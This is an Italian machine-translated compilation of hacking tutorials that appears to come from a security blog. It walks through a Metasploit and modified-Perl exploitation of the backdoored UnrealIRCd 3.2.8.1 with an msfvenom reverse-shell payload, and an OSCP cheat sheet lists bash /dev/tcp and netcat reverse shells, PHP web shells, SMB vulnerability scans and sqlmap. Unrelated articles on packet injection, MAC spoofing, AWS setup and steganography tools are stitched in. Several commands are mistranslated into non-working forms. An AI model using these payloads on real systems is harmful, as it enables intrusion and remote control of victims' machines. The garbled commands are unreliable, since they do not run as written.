Il prossimo passo è mettere la tua scheda in modalità monitor con l'aiuto dell'utility  airmon-ng preinstallata in Kali Linux.

Ora inserisci  il comando airmon-ng start wlan0 per creare un'interfaccia in modalità monitor corrispondente al dispositivo wlan0 . Questa nuova interfaccia della modalità monitor sarà denominata wlan0mon .

Nota: puoi verificare se è stato creato eseguendo di nuovo airmon-ng senza argomenti.

Abbiamo creato con successo un'interfaccia in modalità monitor chiamata wlan0mon . Questa interfaccia verrà utilizzata per sniffare i pacchetti wireless in onda. Questa interfaccia è stata creata per il nostro adattatore wireless.

Ora per testare la scheda per l'iniezione di pacchetti, digitare:

Comando: aireplay-ng –test wlan0mon

Se ottieni l'output come mostrato sopra, significa che la tua scheda di rete sta iniettando correttamente i pacchetti nelle reti vicine.

Oppure puoi anche eseguire il seguente comando per testare l'iniezione di pacchetti con il pacchetto aireplay-ng.

Comando: aireplay-ng -9 wlan0mon

Puoi testare ulteriormente lo stesso rispetto a qualsiasi SSID specifico utilizzando il seguente comando:

Comando: aireplay-ng –test -e        -a 00:11:22:33:44:55 wlan0mon

Dove,        è il nome della rete wireless e 00:11:22:33:44:55 è l'indirizzo hardware (MAC) della rete wireless        .

Nel caso, se hai due schede wireless, puoi testare l'iniezione di pacchetti usando il seguente comando con l'attributo -i:

Comando:  aireplay-ng -9 -i wlan1 wlan0

Test di Packet Injection Airserv-ng –

Airserv-ng è un'altra utility attraverso la quale è possibile testare l'iniezione di pacchetti.

Per prima cosa esegui il seguente comando:

Comando: airserv-ng -d wlan0

Se lo mostra, wlan0 è connesso con un numero di porta come 666, quindi esegui il seguente comando:

Comando: aireplay-ng -9 127.0.0.1:666

Trova l'IP della macchina virtuale tramite Kali Linux - Metodi 3

       

Durante la risoluzione delle sfide CTF o bug bounty , a volte è necessario scoprire l'indirizzo IP della macchina perché quella macchina non è connessa in quel momento. Ci rendiamo conto che alcune persone a cui piace rompere le cose non hanno esperienza nella costruzione di cose.

Non importa quanto siano buone le nostre capacità, dobbiamo trovare sistemi che possiamo attaccare. Ciò si ottiene sondando la rete e cercando una risposta.

Uno degli strumenti più popolari per farlo è l'eccellente strumento open source netdiscover.

[#1] Con Netdiscover –

Puoi trovare netdiscover andando su Kali Linux machine, quindi Information Gathering, quindi Route Analysis, circa a metà del lungo elenco di strumenti di scoperta. Quando fai clic su netdiscover, si apre una schermata che mostra alcuni aiuti di base. Netdiscover è uno strumento relativamente semplice, quindi non ci sono molte opzioni.

Per scoprire gli IP su una rete interna, di solito vorremmo scansionare un intervallo di indirizzi IP. In netdiscover, possiamo utilizzare l' opzione -r (per l'intervallo) e quindi nella notazione CIDR fornirgli l'intervallo di rete che vogliamo scansionare.

Nel comando seguente, chiediamo a netdiscover di trovare tutti gli host live con indirizzi IP compresi tra 192.168.73.1 e 192.168.73.255. Lo facciamo digitando;

Comando: netdiscover -P -i eth0 -r 192.168.73.0/24

[#2] Con Nmap Live Scanning –

Un altro strumento popolare che è nmap può essere utilizzato anche per scoprire gli host live all'interno di una rete. È possibile scaricare quindi nmap da www.
nmap.org
 oppure puoi utilizzare qualsiasi numero di distribuzioni di toolkit per lo strumento.

Quando esegui il comando seguente, nmap tenta di eseguire il ping dell'intervallo di indirizzi IP specificato (da 192.168.73.1 a 192.168.73.254) per verificare se gli host sono attivi. Se il ping fallisce, tenta di inviare pacchetti syn alla porta 80 (SYN scan). Questo non è affidabile al 100% perché i moderni firewall basati su host bloccano il ping e la porta 80. Il firewall di Windows blocca il ping per impostazione predefinita.

Gli host che hai sulla rete stanno bloccando il ping e la porta 80 non accetta connessioni. Quindi nmap presuppone che l'host non sia attivo.

Comando: nmap -sn 192.168.73.1-254

[#3] Con la scansione delle porte Nmap –

Nmap è compatibile con tutti i principali sistemi operativi inclusi Mac OS, Windows e Linux. Ci concentreremo sull'utilizzo di nmap per trovare ed elencare tutti gli host su una rete e supponiamo che tu abbia già nmap sulla tua macchina Kali Linux.

Per trovare host attivi all'interno di una rete, digita il seguente comando nel tuo terminale:

Comando: nmap -n -sV 192.168.73.1-254

Questo è il metodo più semplice ma più lento poiché stai scansionando ogni porta aperta sulla tua rete. Le macchine virtuali intenzionalmente vulnerabili avranno generalmente più porte aperte rispetto alle tue macchine di attacco o desktop.

Sfruttamento di UnreaIIRCd 3.2.8.1 utilizzando Metasploit e Perl Script

       

UnrealIRCd è un demone IRC open source, originariamente basato su DreamForge, ed è disponibile per sistemi operativi simili a Unix e Windows. Dall'inizio dello sviluppo su UnrealIRCd intorno al maggio 1999, molte nuove funzionalità sono state aggiunte e modificate, incluse funzionalità di sicurezza avanzate e correzioni di bug, ed è diventato un server popolare.

[#1] Sfruttamento tramite METASPLOIT –

Avvia Metasploit Framework digitando il comando " msfconsole " nel tuo terminale.

Utilizzare il seguente exploit per sfruttare il servizio demone IRC:

Comando: usa exploit/unix/irc/unreal_ircd_3281_backdoor

Questo modulo sfrutta una backdoor dannosa che è stata aggiunta all'archivio di download di Unreal IRCD 3.2.8.1 . Questa backdoor era presente nell'archivio Unreal3.2.8.1.tar.gz tra novembre 2009 e il 12 giugno 2010.

Inoltre, puoi anche vedere tutte le opzioni disponibili digitando il comando " mostra opzioni ":

Ora imposta il target con l'aiuto di " set RHOST <your-target-ip> " come mostrato di seguito:

Ora qui puoi vedere che è stata aperta 1 sessione della shell di comando in cui puoi eseguire tutti i comandi relativi a unix sul computer di destinazione.

[#2] Sfruttamento usando Perl Script –

Lo stesso può essere fatto anche con l'aiuto dello script perl, ma assicurati che l'utilità wget sia installata nella macchina di destinazione altrimenti questo exploit non funzionerà.

Usa il seguente comando per generare un payload in linguaggio perl usando msfvenom che è uno dei generatori di payload più popolari.

Comando: msfvenom -p cmd/unix/reverse_perl LHOST=192.168.169.130 LPORT=4444 -f raw

Dove, 192.168.169.130 è l'IP della nostra macchina (Kali Linux) e cmd/unix/reverse_perl è il tipo di payload.

Qui puoi vedere che è stato generato un output non elaborato in linguaggio perl e per testare lo stesso payload, esegui il codice perl nel nuovo terminale e ascolta la porta 4444 utilizzando lo strumento netcat come mostrato di seguito:

Comando: nc -lvp 4444

Qui puoi vedere che è stata aperta una connessione inversa nel terminale netcat dove puoi eseguire tutti i comandi relativi a unix.

Ora procediamo oltre e modifichiamo l'exploit originale ( 13853.pl ) che puoi facilmente cercare usando il comando " locate 13853.pl " e copia quell'exploit nella directory /root.

Successivamente, apri il file 13853.pl utilizzando uno qualsiasi degli editor e modifica il seguente pezzo di codice con il codice del tuo payload che abbiamo generato con msfvenom.

NOTA: assicurati di evitare i segni di virgolette singole contenenti il ​​codice della shell inversa di Perl con una barra rovesciata. Inoltre puoi rimuovere gli altri payload ($payload2, $payload3, $payload4, $payload5) per evitare errori con conseguenze indesiderate.

Ora che il nostro exploit è stato modificato e sappiamo cosa viene eseguito, è il momento di lanciare il nostro exploit contro la macchina Metasploitable2 digitando il seguente comando:

Comando: perl 13853.pl <target-ip> <port> <payload number>

Trova l'indirizzo IP pubblico dalla riga di comando - 12 esempi

       

L'indirizzo IP pubblico è quello che vedi online quando accedi dal tuo computer. Se vuoi provare a connetterti al tuo computer tramite una connessione remota che non si trova sulla stessa rete, avrai bisogno dell'indirizzo IP pubblico.

Puoi determinare facilmente l'indirizzo o gli indirizzi IP del tuo sistema Linux utilizzando i comandi hostname , ifconfig o ip . Ma se vuoi conoscere l'indirizzo IP pubblico come  192.168.1.1 , puoi inviare una richiesta HTTP a uno dei seguenti server web con l'aiuto del comando netcat o curl.

Fondamentalmente il comando cURL è progettato per funzionare dove non è necessaria alcuna interazione da parte dell'utente. cURL è l'abbreviazione di Client URL Request Library . cURL viene utilizzato per trasferire dati da un luogo a un altro. È uno strumento a riga di comando per ricevere e inviare file utilizzando la sintassi dell'URL. Consiste in diversi comandi e librerie cURL che possono funzionare con diversi protocolli.

Per installare curl, puoi usare il seguente comando:

Comando:  sudo apt-get install curl

Se la tua macchina Linux è connessa direttamente a Internet, gli indirizzi IP pubblici e privati ​​saranno gli stessi. Tuttavia, nella maggior parte dei casi differiscono.

Ecco alcuni esempi attraverso i quali puoi facilmente ottenere il tuo indirizzo IP pubblico utilizzando il comando curl.

Comando 1: curl bot.whatismyaddress.com -w "\n"

Comando 2: curl ip.tyk.nu -w “\n”

Comando 3: curl wgetip.com -w “\n”

Comando 4: curl icanhazip.com

Comando 5: curl whatismyip.akamai.com -w "\n"

Comando 6: curl ipecho.net/plain -w “\n”

Comando 7: curl ident.me -w “\n”

Comando 8: curl -s http://ifconfig.me -w “\n”

L'esempio seguente è uno dei metodi più veloci per ottenere l'indirizzo IP pubblico utilizzando curl.

ifconfig.me è un servizio Web che visualizza informazioni sulla tua connessione, inclusi indirizzo IP, nome host e stringa dell'agente utente.

Altri comandi sono variazioni su questo sono:

Se vuoi restituire tutti i dati, il comando è " curl ifconfig.me/all "

E nel caso, se ricevi la risposta in formato json, il comando è " curl ifconfig.me/all.json "

Comando 9: curl -s icanhazip.com

Comando 10: curl -s http://whatismijnip.nl | taglia -d ” ” -f 5

Esistono molte opzioni di diversi server che forniscono l'IP esterno, specialmente tramite HTTP pubblicato qui o altrove.

C'è ancora un altro modo per determinare il tuo indirizzo IP pubblico. Eseguire una ricerca DNS su myip.opendns.com. È un servizio fornito da OpenDNS.

Comando 11:  dig +short myip.opendns.com @resolver1.opendns.com

In realtà ci sono quattro risolutori che possono essere utilizzati in questo modo:

Puoi anche ottenere lo stesso risultato con netcat come mostrato di seguito:

Comando 12: netcat icanhazip.com 80 <<< $'GET / HTTP/1.1\nHost: icanhazip.com\n\n' | coda -n1

In alternativa, puoi anche eseguire il seguente comando se desideri ottenere la risposta da Amazon AWS, che è uno dei provider più popolari ed è improbabile che vada offline presto.

Comando: curl https://checkip.amazonaws.com

E nel caso, se vuoi conoscere il tuo indirizzo IP pubblico in un popup di dialogo invece che nell'output del terminale di comando, esegui il seguente comando nel tuo terminale:

Comando:  zenity –info –text “$(curl -s icanhazip.com)”

Con  l'interfaccia Web http://pasteip.me , puoi vedere il tuo indirizzo IP dell'interfaccia locale insieme al tuo indirizzo IP pubblico.

Manipolazione di indirizzi MAC e IP con MICH in Linux

       

Devi avere familiarità con il termine indirizzo IP. Proprio come la tua casa ha un indirizzo postale allo stesso modo qualsiasi computer o dispositivo connesso a Internet ha un indirizzo postale chiamato indirizzo IP e l'indirizzo distintivo che identifica una NIC è chiamato indirizzo MAC (Media Access Control) .

Mich è un programma per manipolare indirizzi MAC e IP. È scritto per Linux e usa iputils per questo. Inoltre, utilizza arp-scan per risolvere i conflitti dovuti all'impostazione di indirizzi IP/MAC esistenti nella rete locale.

Per modificare il tuo indirizzo MAC o IP, devi prima sapere come individuarlo.

Ora che sai come individuare e controllare il tuo indirizzo MAC o IP, vediamo come cambiarlo.

Installazione di MICH –

Puoi facilmente installare mich tool digitando il seguente comando:

Comando: git clone https://github.com/volgk/mich

Git clone è un'utilità della riga di comando git che viene utilizzata per indirizzare un repository esistente e creare un clone o una copia del repository di destinazione.

Per visualizzare tutte le interfacce di rete disponibili, il comando è:

Comando: ./mich -i

Puoi persino elencare tutte le interfacce con l'aiuto del comando " ip link show ".

Inoltre, puoi anche recuperare l'indirizzo IP e l'indirizzo MAC rispettivamente con l'opzione -a e -m .

Comando: ./mich -i eth0 -a
Comando: ./mich -i eth0 -m

L'indirizzo MAC è un altro parametro importante di un dispositivo di rete. Il dispositivo di rete di ogni PC avrà un indirizzo MAC univoco.

Nel caso in cui, se si desidera salvare l'output dei due comandi precedenti, il comando è:

Comando: ./mich -i eth0 -a -m > /tmp/output

E per impostare l'indirizzo IP, digita " ./mich -i eth0 -a <IP> "

Che puoi facilmente confermare digitando il comando " ifconfig <interface name> " come mostrato di seguito.

Supponiamo di voler impostare l'indirizzo IP in modo casuale, quindi puoi semplicemente definire l'intervallo di sottorete invece di un particolare indirizzo IP.

Comando: ./mich -i eth0 -a 192.168.0.0/24

Allo stesso modo, per impostare l'indirizzo MAC, puoi utilizzare l'opzione -m come mostrato di seguito:

Comando: ./mich -i eth0 -m <Indirizzo Mac>

Sebbene gli indirizzi fisici MAC (Media Access Control) siano permanenti per progettazione, diversi meccanismi consentono la modifica, o " spoofing ", dell'indirizzo MAC segnalato dal sistema operativo.

E se vuoi impostare l'indirizzo MAC casuale, devi usare 0 invece di menzionare l'indirizzo MAC dopo l'opzione -m.

Comando: ./mich -i eth0 -m 0

Si prega di notare che gli indirizzi MAC generati sono solo a scopo di test, non per uso produttivo.

Configura il server Node.js su Amazon Web Services (AWS)

       

Come molte startup di successo dell'era delle dot-com, Amazon si è trovata con un problema invidiabile all'inizio del secolo: la portata della loro attività era cresciuta oltre le capacità di qualsiasi soluzione software preconfezionata disponibile.

AWS chiama i propri data center Zone di disponibilità o AZ. Ogni data center dispone di più fornitori di alimentazione e larghezza di banda ridondanti e le zone di disponibilità sono organizzate in regioni che sono raccolte di data center fisicamente vicini che sono interconnessi tramite fibra a larghezza di banda elevata e bassa latenza.

Amazon ha attualmente 11 regioni (sebbene una sia strettamente riservata al governo degli Stati Uniti) e ogni regione ha da una a cinque zone di disponibilità. Per l'uso in produzione, AWS consiglia di utilizzare solo regioni con due o più zone di disponibilità, ma ha lanciato alcune regioni, come Pechino, in modalità beta con una sola zona di disponibilità.

Sebbene AWS offra attualmente quasi 50 servizi, ce ne sono alcuni selezionati che forniscono la maggior parte dell'utilità e dei vantaggi. Se la tua azienda inizia a utilizzare AWS, è probabile che sarà per uno o più dei seguenti servizi:

In questo articolo, andremo con il server EC2 che è uno dei modi più diffusi per eseguire le applicazioni node.js.

Cosa copriamo -

  1. Configurazione del server AWS
  2. SSH nel server
  3. Installazione di Node.js

[#1] Configurazione del server AWS –

Creiamo un nuovo account sul server AWS facendo clic sul collegamento " Crea un account AWS " visualizzato in alto a destra.

Assicurati di utilizzare un indirizzo email valido e un numero di telefono reale durante la creazione dell'account perché devi verificare entrambe le cose prima di accedere alla dashboard della console.

Una volta effettuato l'accesso al tuo account AWS, fai clic su Servizi sulla barra di navigazione e seleziona l'opzione EC2 nella categoria di calcolo.

Amazon EC2 è un servizio Web che fornisce capacità di elaborazione nel cloud AWS. Amazon EC2 consente di configurare la memoria, la CPU, lo storage dell'istanza e la scelta del sistema operativo e delle applicazioni.

Puoi raggruppare il sistema operativo, il software dell'applicazione e le impostazioni di configurazione associate in un'Amazon Machine Image (AMI). Quindi, utilizzalo per eseguire il provisioning o disattivare più istanze virtualizzate utilizzando le chiamate al servizio web. Le istanze EC2 possono essere ridimensionate e il numero di istanze può essere aumentato, aumentato o ridotto, per soddisfare le tue esigenze o richieste.

Successivamente è necessario fare clic sul pulsante Avvia istanza che avvierà il processo di provisioning di un'istanza EC2.

Successivamente devi scegliere l'AMI (Amazon Machine Image) giusta secondo le tue esigenze.

Sono disponibili diverse versioni di server Windows/Linux, ma la maggior parte dei server esegue Linux (Ubuntu) per la distribuzione di applicazioni node.js.

Nota: i server Windows sono utili solo per applicazioni specializzate come .NET.

Quindi scegliamo di utilizzare la macchina server UBUNTU 18.04 perché è la macchina più utilizzata.

Dopo aver selezionato un'immagine AMI, l'opzione successiva è scegliere il tipo di istanza.

Il tipo di istanza è un server virtuale che eseguirà la tua applicazione. Seleziona l'istanza t2.micro , inclusa nel piano gratuito per un periodo di 1 anno.

E quindi fare clic sul pulsante " Avanti: Configura dettagli istanza ".

Qui abbiamo diverse opzioni ad ogni passaggio e dobbiamo fare le scelte più appropriate che sono più complicate ma ora puoi ignorarne la maggior parte.

Quindi fai semplicemente clic sul pulsante " Avanti: Aggiungi spazio di archiviazione " per eseguire il provisioning dell'archiviazione persistente come mostrato di seguito:

Questo spazio di archiviazione persistente è anche noto come ESB (Elastic Bloc Storage) che fornisce 8 GB di spazio di archiviazione predefinito, sufficienti per la distribuzione di un'applicazione node.js di base.

EBS non scompare quando il sistema si riavvia o si arresta in modo anomalo. È il disco rigido per la tua istanza EC2. Nel piano gratuito sono disponibili fino a 30 GB di disco, sufficienti per la maggior parte delle applicazioni.

Selezionare General Purpose SSD (GP2) dalla colonna Tipo di volume. La velocità di accesso ai dati del disco è proporzionale alla dimensione del disco. È definito in termini di IOPS che sta per operazioni di input output al secondo. Un IOP è definito come un blocco di 256 KB di dati scritti al secondo.

Avanti Fare clic sul pulsante " Avanti: Aggiungi tag " per contrassegnare l'istanza EC2.

I tag non hanno alcun valore semantico e sono trattati esclusivamente come stringhe in una forma di valore-chiave. Puoi lavorare utilizzando i tag con la console di gestione AWS, l'API di EC2 e gli strumenti dell'interfaccia a riga di comando di EC2.

Non abbiamo bisogno di tag ma sono utili quando hai un gran numero di istanze e devi filtrarle e cercarle.

Fare clic sul pulsante " Avanti: Configura gruppo di sicurezza ".

Un gruppo di sicurezza è una configurazione per il tuo server, che gli dice quali porte dovrebbe esporre a quale indirizzo IP.

Qui, è necessario fare clic sull'opzione radio " Crea un nuovo gruppo di sicurezza " e aggiungere le due porte, ad esempio 80 e 22.

La porta 80 è per il protocollo HTTP e la porta 22  è per SSH in modo da poter accedere al server accedendovi da remoto. C'è un avviso che indica che la sorgente è 0.0.0.0/0 che ci consente di accedere a SSH da qualsiasi indirizzo IP, tuttavia va bene perché questa opzione può essere utile solo se sei su VPN o qualche tipo di rete privata che potrebbe limitare il tuo SSH accesso solo per quegli IP.

Avanti Fare clic sul pulsante " Rivedi e avvia ".

Successivamente, puoi rivedere tutte le opzioni che hai selezionato e modificarle, se necessario.

Fare clic su Avvia per avviare l'istanza.

All'avvio, l'istanza EC2 ti chiederà di selezionare la coppia di chiavi pubblica/privata.

Scegli crea una nuova coppia di chiavi e assegna un nome alla chiave, l'abbiamo chiamata "        ". Fai clic su Scarica coppia di chiavi . Questo dovrebbe scaricare un file       .pem che può essere utilizzato per SSH nel server. La coppia di chiavi una volta assegnata all'istanza non può essere modificata. Assicurati di archiviare la tua chiave privata, in modo sicuro.

Conserva questo file al sicuro perché chiunque può connettersi al tuo server utilizzandolo, se perdi il file dovrai generarne uno nuovo.

Quindi sei quasi pronto e ci vogliono pochi minuti per preparare la tua istanza.

Dopo che l'istanza EC2 è attiva e in esecuzione, dovresti vederla elencata nella console. È possibile rivedere i dettagli dell'istanza per assicurarsi che corrispondano a quanto configurato.

All'istanza EC2 viene assegnato un indirizzo IP dalla sottorete VPC, in questo caso è 13.58.254.174 . Questa istanza EC2 può essere utilizzata solo per la comunicazione tra le istanze nel tuo VPC.

E nel caso, se desideri arrestare l'istanza, fai clic con il pulsante destro del mouse sull'istanza e vai a " Stato istanza " e fai clic su Stop che arresta immediatamente la tua istanza.

Una volta che lo stato dell'istanza è in esecuzione, sei pronto per entrare in SSH.

[#2] SSH nel tuo server –

Ora fai nuovamente clic con il pulsante destro del mouse sulla tua istanza e fai clic sul pulsante " Connetti " che apre una schermata di richiesta con tutti i dettagli e la procedura per l'accesso.

Prima di accedere a SSH, assicurati di aver spostato il file della coppia di chiavi .pem (      .pem) nella cartella ~/.ssh che è una cartella nascosta.

Inoltre, devi concedere 400 autorizzazioni al tuo file .pem digitando il comando " chmod 400       .pem ".

Ora puoi accedere da remoto. Il nome utente predefinito per le AMI Ubuntu è ubuntu , l'indirizzo IP a cui connettersi è l'EIP dell'istanza EC2 è ec2-13-58-254-174.us-east-2.compute.amazonaws.com .

Digita Sì quando ricevi un avviso che non è possibile stabilire l'autenticità dell'host 13.58.254.174.

Nota: per impostazione predefinita, la connessione alla tua istanza senza un nome utente proverà ad accedere come root, cosa generalmente non consentita.

[#3] Installazione di Node.js –

Una volta effettuato l'accesso al server, la prima cosa che devi installare è NVM (Node Version manager) digitando il seguente comando:

Comando: curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bash

Questo comando estrae uno script da un URL remoto e lo esegue.

Ora hai NVM! Ma se esegui il comando " nvm ls" vedrai che non è stato trovato.

Questo perché NVM aggiunge del codice al tuo ~/.bashrc . Questo file è un file speciale che viene eseguito ogni volta che accedi alla tua istanza, quindi per far funzionare NVM puoi disconnetterti e accedere nuovamente.

Tuttavia puoi semplicemente eseguire il file manualmente usando il comando source come mostrato di seguito:

Comando: source ~/.bashrc

Ora l'esecuzione di nvm ls funziona! Ma non ci sono versioni di nodo installate!

Per ottenere l'ultima versione, digita nvm install <numero versione più recente> come mostrato di seguito:

Comando: nvm install 7

E per verificare la versione del nodo, il comando è " node –version ".

Ora devi creare un URL pubblico in modo che chiunque possa richiedere al tuo server da un'applicazione browser.

Quindi crea una directory chiamata " server " e cd in essa dove devi eseguire il seguente comando:

Comando: init npm

Il comando precedente creerà un file package.json che verrà utilizzato per tenere traccia di tutte le dipendenze.

Eseguendo  il comando npm init , verranno richieste alcune informazioni come nome, versione, descrizione ecc., premere semplicemente Invio per utilizzare tutte le impostazioni predefinite.

Ora è necessario installare il pacchetto espresso per farlo funzionare completamente.

Comando: npm install express –save-dev

Ora dovresti avere una directory node_modules e un file package.json .

Ora dobbiamo solo aggiungere del codice per eseguire il server. Useremo nano per scrivere il server in un file index.js .

Codice:

const express = require('express')
const app = express()
app.get('/', (req, res) => {
res.send('CIAO UTENTI       !')
})
app.listen(3000, () => console.log('Server in esecuzione sulla porta 3000'))

Premi CTRL + x per uscire, assicurandoti di salvare quando esci premendo y seguito da invio.

Ora puoi usare node per avviare il server legando il seguente comando:

Comando: nodo index.js

Una volta in ascolto, questo dovrebbe registrare " Server in esecuzione sulla porta 3000 ".

Potresti aver notato, tuttavia, che non abbiamo aperto il traffico del nostro server alla porta 3000, l'abbiamo aperto alla porta 80.

La porta 80 è una porta privilegiata e l'esecuzione del server utilizzando Node.js è insolita, generalmente utilizzare un router è migliore. Se modifichi il file index.js per utilizzare 80 e quindi esegui node index.js noterai che ricevi un errore di autorizzazione negata.

Quindi è necessario aprire la porta 3000 dal gruppo di sicurezza.

Fai clic con il pulsante destro del mouse sul gruppo di sicurezza impostato e fai clic sull'opzione " Modifica regole in entrata ".

Fare clic sul pulsante " Aggiungi regola " e aggiungere la regola TCP personalizzata sulla porta 3000, aperta ovunque.

Fare clic su Salva . Ora dovresti avere accesso al server! Utilizzando un browser, visita il tuo URL DNS pubblico con la porta 3000 e dovresti vedere la risposta.

AWS prende molto sul serio il suo ruolo nella sicurezza ed è riuscita a creare una sicurezza forte apparentemente impossibile che non sia prepotentemente difficile da usare. Oltre alle numerose pratiche, AWS garantisce anche che il primo accesso di un cliente a un'istanza EC2 possa essere eseguito solo dal cliente stesso.

I 22 migliori strumenti per risolvere le sfide della steganografia

       

Nel contesto dei CTF, la steganografia di solito comporta la ricerca di indizi o segnali che sono stati nascosti con la steganografia. Più comunemente un file multimediale o un file immagine verrà assegnato come compito senza ulteriori istruzioni ei partecipanti devono essere in grado di scoprire il messaggio nascosto che è stato codificato nel supporto.

Esempio -

Scarica questo file example.jpg che contiene alcune informazioni nascoste.

Se lo salvi sulla tua macchina e lo apri con un visualizzatore di immagini (ad esempio nomacs per linux), ti dovrebbe essere presentata una semplice immagine jpg.

Lettura consigliata: i 12 migliori strumenti indispensabili per la steganografia

Per ulteriori analisi, apri quanto sopra scaricato con qualsiasi visualizzatore/editor esadecimale (ad esempio xxd per Linux o HxD per Windows) e vedrai qualcosa di interessante alla fine del codice come mostrato di seguito.

Ora estraiamo i dati nascosti all'interno di questa immagine con l'esempio del comando dd che è di natura molto versatile. Sappiamo dove si trova la posizione del file zip, ma dd accetta solo valori decimali, quindi convertiamo la posizione esadecimale 0x01e17ad da esadecimale a decimale per ottenere 1972141.

Comando: dd if=example.jpg bs=1 skip=1972141 of=foo.zip

Questo prende l'immagine example.jpg , l'if 'in file', legge un blocco alla volta, 'block size' bs, salta al blocco 1972141, salta e lo scrive nello zip 'out file' che chiamiamo foo . zip . Al termine, dovresti avere un file zip che puoi facilmente decomprimere per accedere al file di testo all'interno.

Qui abbiamo elencato i migliori strumenti di steganografia che puoi utilizzare facilmente mentre risolvi le sfide CTF.

S.No

Nome strumento

Descrizione

1

Convertire

Converti i formati delle immagini in bianco e nero e applica i filtri

2

esif

Mostra le informazioni EXIF ​​nei file JPEG

3

Exiftool

Leggere e scrivere meta informazioni nei file

4

Exiv2

Strumento di manipolazione dei metadati delle immagini

5

ImmagineMagick

Strumento per manipolare le immagini

6

Indovina

Strumento steganografico universale

7

Pngtools

Per varie analisi relative ai PNG

8

SmartDeblur

Utilizzato per eliminare la sfocatura e correggere le immagini sfocate

9

Steganabara

Strumento per l'analisi stegano scritto in Java

10

Stegbreak

Lancia attacchi con dizionario a forza bruta sull'immagine JPG

11

StegCracker

Utilità di forza bruta steganografia per scoprire i dati nascosti all'interno dei file

12

Estratto di stege

Rileva file nascosti e testo nelle immagini

13

Steghide

Nascondere i dati in vari tipi di immagini

14

Stegsolve

Applicare varie tecniche di steganografia alle immagini

15

Zsteg

Analisi PNG/BMP

16

LSB-Steganografia

Programma Python per la steganografia dei file in immagini utilizzando il bit meno significativo.

17

StegSpy

Controlla gli schemi steganografici classici

18

StegNeve

Un programma per nascondere i messaggi nei file di testo aggiungendo tabulazioni e spazi alla fine delle righe

19

Binwalk

Strumento di analisi del firmware

20

Stego Toolkit

Kit di strumenti per la steganografia

21

StegDetect

Esegue test statistici per scoprire se è stato utilizzato uno strumento stego (jsteg, outguess, jphide, …).

22

StegoVeritas

Ancora un altro strumento Stego

Comandi e strumenti utili – OSCP

       

Nell'articolo precedente, abbiamo condiviso un'ampia gamma di strumenti per l'enumerazione di sottodomini che aiuta pentester e cacciatori di bug a raccogliere e raccogliere sottodomini per il dominio a cui si rivolgono.

L'enumerazione è la cosa più importante che puoi fare, in quella fase inevitabile in cui ti ritrovi a sbattere contro un muro, il 90% delle volte sarà perché non hai fatto abbastanza enumerazione.

Ci sono un sacco di certificazioni in questo dominio di hacking e sicurezza, ma le certificazioni Offensive Security sono quelle che ti faranno davvero capire che te lo sei davvero guadagnato, piuttosto che incrociare le dita e fare un esame MCQ.

Sì, stiamo parlando di OSCP (Offensive Security Certified Professional) . La preparazione, il laboratorio e l'esame OSCP sono un viaggio fantastico in cui sperimenterai molta eccitazione, dolore, sofferenza, frustrazione, fiducia e motivazione in cui l'apprendimento sarà costante durante tutto il viaggio.

Di seguito sono riportati i pochi comandi che saranno molto utili per la preparazione OSCP:

Comandi Nmap

[#] Scansione rapida TCP

Comando: nmap -sC -sV -vv -oA rapido 192.168.1.10

[#] Scansione UDP rapida

Comando: nmap -sU -sV -vv -oA quick_udp 192.168.1.10

[#] Scansione TCP completa

Comando: nmap -sC -sV -p- -vv -oA full 192.168.1.10

Scansione web

[#] Nico

Comando: nikto -h 192.168.1.10

[#] Cerca

Comando: python dirsearch.py ​​-u http://192.168.1.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 –random-agent

[#] Directory Buster

Comando: dirb http://192.168.1.10/ /usr/share/wordlists/dirb/common.txt

[#] Whatweb

Comando: whatweb -v -a 3 192.168.1.10

[#] Gobuster

Comando: gobuster -e -u http://192.168.1.10/ -w /usr/share/wordlists/dirb/common.txt

[#] Wuff

Comando: wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt –hc 404 http://192.168.1.10

[#] WPScan

Comando: wpscan -u http://192.168.1.10/

[#] Joomscan

Comando: joomscan -u http://192.168.1.10/

Controllo del porto

[#] Cattura banner di Netcat

Comando: nc -v 192.168.1.10 porta

[#] Acquisizione banner Telnet

Comando: porta telnet 192.168.1.10

PMI

[#] Scansione vulnerabilità SMB

Comando: nmap -p 445 -vv –script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse ,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 192.168.1.10

[#] Scansione utenti e condivisioni SMB

Comando: nmap -p 445 -vv –script=smb-enum-shares.nse,smb-enum-users.nse 192.168.1.10

[#] Enum4linux

Comando: enum4linux -a 192.168.1.10

[#] Connessione nulla

Comando: rpcclient -U “” 192.168.1.10

[#] Connettiti alla condivisione SMB

Comando: smbclient //MOUNT/condividi

SNMP

[#] Enumerazione SNMP

Comando: snmp-check 192.168.1.10 -c public

Server Python

[#] Server web semplice

Comando: python -m SimpleHTTPServer 80

[#] Server FTP

Comando: python -m pyftpdlib -p 21 -w

Conchiglie inverse

[#] Bash Shell

Comando: bash -i >& /dev/tcp/192.168.1.10/4443 0>&1

[#] Netcat linux

Comando: nc -e /bin/sh 192.168.1.10 4443

[#] Finestre Netcat

Comando: nc -e cmd.exe 192.168.1.10 4443

PHP

[#] Iniezione di comandi PHP con il sistema dalla richiesta GET

Comando: <?php echo system($_GET[“cmd”]);?>

[#] PHP Command Injection con Shell Exec da GET Request

Comando: <?php echo shell_exec($_GET[“cmd”]);?>

SQL Injection

[#] Sfruttamento di SQL Injection con Sqlmap

Comando: sqlmap -u http://10.10.10.10 –dbs

Python Scripting: raccolta di informazioni e automazione dell'hacking etico

       

La sicurezza è un'illusione e anche un'illusione. Nel campo della Sicurezza esistono tipologie di professionisti a) Black Hat, b) White Hat ec) Grey Hat. I Black Hats sono i ragazzi che insinuano l'industria con l'intelligenza luminescente conosciuta anche da Unethical Hacker. I White Hats sono gli Ethical Hackers che svolgono gli stessi compiti, con la stessa creatività, lo stesso pensiero ardente e la stessa diligenza per mantenere il mondo al sicuro.

Vuoi diventare un esperto di Python? Allora la formazione online su Python di Intellipaat fa per te.

Se Blackhat è sul punto di paralizzare l'Information Technology, allora Whitehat mette le spalle sotto il cofano motore delle aziende.

Bisogna sapere qualcosa sulla programmazione in rete. Controlla il collegamento ipertestuale, vale la pena provare.

